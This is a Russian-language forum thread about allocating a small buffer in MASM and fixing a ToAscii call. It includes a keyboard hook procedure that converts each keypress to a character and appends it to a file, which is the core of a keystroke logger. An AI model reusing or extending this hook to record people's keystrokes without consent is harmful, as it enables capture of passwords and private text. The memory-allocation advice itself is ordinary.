Здравствуйте. Вопрос - как выделить область памяти в 256 байт в процедуре, наподобие локальной переменной, вроде: LOCAL hFile:HANDLE LOCAL nBytes:UINT и тд. Пробовал делать иначе, используя VirtualAlloc, но он выделял память в области 00850000 и нужная WinAPI функция не могла прочитать оттуда данные, хотя запись проходила нормально. Пример вызова VirtualAlloc: invoke VirtualAlloc, NULL, 256, MEM_COMMIT, PAGE_READWRITE Заранее спасибо.
Сначала GetKeyboardState нормально записывала (результат ненулевой), а ToAscii не могла прочитать (ошибка ERROR_NOACCESS). Не помогло, все аналогично. А только с MEM_RESERVE и GetKeyboardState возвращает ошибку.
VirtualAlloc для 256 байт это из пушки по воробъям. Юзай HeapAlloc или GlobalAlloc с флагом GMEM_FIXED PS: Ошибка скорее всего не в выделении памяти, а в неверном вызове ToAscii
А может, просто выделить под это дело часть стэка вместо хипа? Опять же вызывать всякие Alloc'и не надо...
При использовании GlobalAlloc память выделяется по другому адресу, но результат один и тот же. Вот код вызова ToAscii: Код (Text): HookProc proc iCode:UINT, wParam:WPARAM, lParam:LPARAM LOCAL hFile:HANDLE LOCAL nBytes:UINT ;количество записанных байт LOCAL lpvKeyBoard:DWORD LOCAL char:BYTE LOCAL nScanCode:WORD mov eax, lParam ;проверка, что клавиша нажимается shr eax, 1Fh .IF eax!= 0 jmp release .ENDIF mov eax, lParam ;вычисление скан-кода shr eax, 10h and ax, 00FFh mov nScanCode, ax invoke GlobalAlloc, GMEM_FIXED, 256 ;выделение памяти mov lpvKeyBoard, eax invoke GetKeyboardState, lpvKeyBoard invoke ToAscii, wParam, nScanCode, lpvKeyBoard, addr char, NULL ;вот еще вопрос - если убрать все, что связано с ToAscii, работа с файлом проходит на ура, ;в противном случае CreateFile возвращает FFFFFFFF и запись невозможна invoke CreateFile, addr FileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL mov hFile, eax invoke SetFilePointer, hFile, 0, NULL, FILE_END invoke WriteFile, hFile, char, 1, addr nBytes, NULL invoke CloseHandle, hFile invoke GlobalFree, lpvKeyBoard release: ret HookProc endp 2DEEP Какой функцией?
SUB ESP, 256; MOV lpvKeyboard, ESP; правда, это не функция, а опкоды, ну да так даж лучше ++ только есть ограничения. Запись должна происходить очень точно. Иначе порушится вся прога, если в стэк запишется больше хоть на один байт. И ещё: стэк естессно нужно после работы освобождать. Как это делать вам наверняка уже понятно.
2DEEP Спасибо, так гораздо удобнее Проблему решил. Состояла в том, что размер nScanCode был один байт вместо положенных двух. Изменил тип на DWORD, все заработало
2FED Та не, дело в том, что если размер равен WORD, в стэк при вызове запишется не 4 байта как по регламенту для каждого из параметров, а всего два. И в итоге за "верхние" два будут считаться "нижние" у другого парама. Такая вот петрушка...
в стек можно заганять word, это к стате самое маленькое значение которое принимает push, тоесть byte уже нельзя
Потому, что VirtualAlloc 1) резервирует как минимум 64К адресного пространства и выделяет 4К физ.памяти, 2) съедает по несколько тысяч тактов при первом обращении к каждой 4К странице (обработка отказов страниц). Heap\GlobalAlloc выделяют память из кучи, т.е. из заранее выделенных страниц памяти, и т.к. эти страницы используются многократно для хранения разных переменных, то отказов страниц при выделении малых объемов данных нет и в результате и физ.память расходуется экономнее и выделяется значительно быстрее, чем при VirtualAlloc